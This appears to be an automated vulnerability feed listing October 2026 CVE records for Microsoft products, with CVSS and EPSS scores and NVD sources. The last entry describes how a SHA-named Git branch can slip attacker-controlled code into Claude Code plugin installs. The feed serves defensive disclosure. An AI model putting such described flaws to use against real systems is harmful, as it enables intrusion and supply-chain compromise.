Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69802
Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69802).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69802&date=2026-10-25).
Sources:
NVD CVE-2026-69802: https://nvd.nist.gov/vuln/detail/CVE-2026-69802
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69802&date=2026-10-25
Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-69789
Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69789).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69789&date=2026-10-25).
Sources:
NVD CVE-2026-69789: https://nvd.nist.gov/vuln/detail/CVE-2026-69789
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69789&date=2026-10-25
Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69783
External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69783).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69783&date=2026-10-25).
Sources:
NVD CVE-2026-69783: https://nvd.nist.gov/vuln/detail/CVE-2026-69783
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69783&date=2026-10-25
External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69765
Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69765).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69765&date=2026-10-25).
Sources:
NVD CVE-2026-69765: https://nvd.nist.gov/vuln/detail/CVE-2026-69765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69765&date=2026-10-25
Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69743
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69743).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69743&date=2026-10-25).
Sources:
NVD CVE-2026-69743: https://nvd.nist.gov/vuln/detail/CVE-2026-69743
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69743&date=2026-10-25
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69650
Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69650).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69650&date=2026-10-25).
Sources:
NVD CVE-2026-69650: https://nvd.nist.gov/vuln/detail/CVE-2026-69650
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69650&date=2026-10-25
Improper verification of cryptographic signature in Windows Key Distribution Center allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105732
Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally.
CVSS 7.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105732).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105732&date=2026-10-25).
Sources:
NVD CVE-2026-105732: https://nvd.nist.gov/vuln/detail/CVE-2026-105732
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105732&date=2026-10-25
Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105729
Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.
CVSS 7.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105729).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105729&date=2026-10-25).
Sources:
NVD CVE-2026-105729: https://nvd.nist.gov/vuln/detail/CVE-2026-105729
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105729&date=2026-10-25
Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-105727
Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105727).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105727&date=2026-10-25).
Sources:
NVD CVE-2026-105727: https://nvd.nist.gov/vuln/detail/CVE-2026-105727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105727&date=2026-10-25
Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Security App allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105725
Use after free in Windows Security App allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Security App allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105725).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105725&date=2026-10-25).
Sources:
NVD CVE-2026-105725: https://nvd.nist.gov/vuln/detail/CVE-2026-105725
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105725&date=2026-10-25
Use after free in Windows Security App allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code...
https://kevwire.com/record/CVE-2026-103572
Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code... (Oct 13, 2026).
Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103572).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103572&date=2026-10-25).
Sources:
NVD CVE-2026-103572: https://nvd.nist.gov/vuln/detail/CVE-2026-103572
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103572&date=2026-10-25
Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-102232
Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally. (Oct 13, 2026).
Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102232).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102232&date=2026-10-25).
Sources:
NVD CVE-2026-102232: https://nvd.nist.gov/vuln/detail/CVE-2026-102232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102232&date=2026-10-25
Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100205
Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.
CVSS 7.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100205).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100205&date=2026-10-25).
Sources:
NVD CVE-2026-100205: https://nvd.nist.gov/vuln/detail/CVE-2026-100205
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100205&date=2026-10-25
Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88141
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88141).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88141&date=2026-10-25).
Sources:
NVD CVE-2026-88141: https://nvd.nist.gov/vuln/detail/CVE-2026-88141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88141&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88139
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88139).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88139&date=2026-10-25).
Sources:
NVD CVE-2026-88139: https://nvd.nist.gov/vuln/detail/CVE-2026-88139
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88139&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88120
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88120).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88120&date=2026-10-25).
Sources:
NVD CVE-2026-88120: https://nvd.nist.gov/vuln/detail/CVE-2026-88120
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88120&date=2026-10-25
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88119
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88119).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88119&date=2026-10-25).
Sources:
NVD CVE-2026-88119: https://nvd.nist.gov/vuln/detail/CVE-2026-88119
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88119&date=2026-10-25
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88117
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88117).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88117&date=2026-10-25).
Sources:
NVD CVE-2026-88117: https://nvd.nist.gov/vuln/detail/CVE-2026-88117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88117&date=2026-10-25
Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88110
Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88110).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88110&date=2026-10-25).
Sources:
NVD CVE-2026-88110: https://nvd.nist.gov/vuln/detail/CVE-2026-88110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88110&date=2026-10-25
Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87707
Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87707).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87707&date=2026-10-25).
Sources:
NVD CVE-2026-87707: https://nvd.nist.gov/vuln/detail/CVE-2026-87707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87707&date=2026-10-25
Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87706
Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87706).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87706&date=2026-10-25).
Sources:
NVD CVE-2026-87706: https://nvd.nist.gov/vuln/detail/CVE-2026-87706
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87706&date=2026-10-25
Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87692
Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87692).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87692&date=2026-10-25).
Sources:
NVD CVE-2026-87692: https://nvd.nist.gov/vuln/detail/CVE-2026-87692
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87692&date=2026-10-25
Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87691
Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87691).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87691&date=2026-10-25).
Sources:
NVD CVE-2026-87691: https://nvd.nist.gov/vuln/detail/CVE-2026-87691
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87691&date=2026-10-25
Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Claude Code is an agentic coding tool.
https://kevwire.com/record/CVE-2026-86063
Claude Code is an agentic coding tool. (Oct 13, 2026).
Claude Code is an agentic coding tool. Prior to 2.1.179, the Claude Code and Claude Desktop plugin installation flow runs git checkout for a marketplace-pinned commit without verifying that the resulting HEAD equals the pinned 40-character SHA. An attacker who controls a plugin repository on a Git host that permits SHA-shaped branch names can create a branch named after the reviewed commit, causing checkout to select the branch tip and install attacker-controlled plugin code. Exploitation requires a user to install the malicious plugin and pin it to the ostensibly safe hash. This issue is fixed in version 2.1.179.
CVSS 7.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86063).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86063&date=2026-10-25).
Sources:
NVD CVE-2026-86063: https://nvd.nist.gov/vuln/detail/CVE-2026-86063
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86063&date=2026-10-25
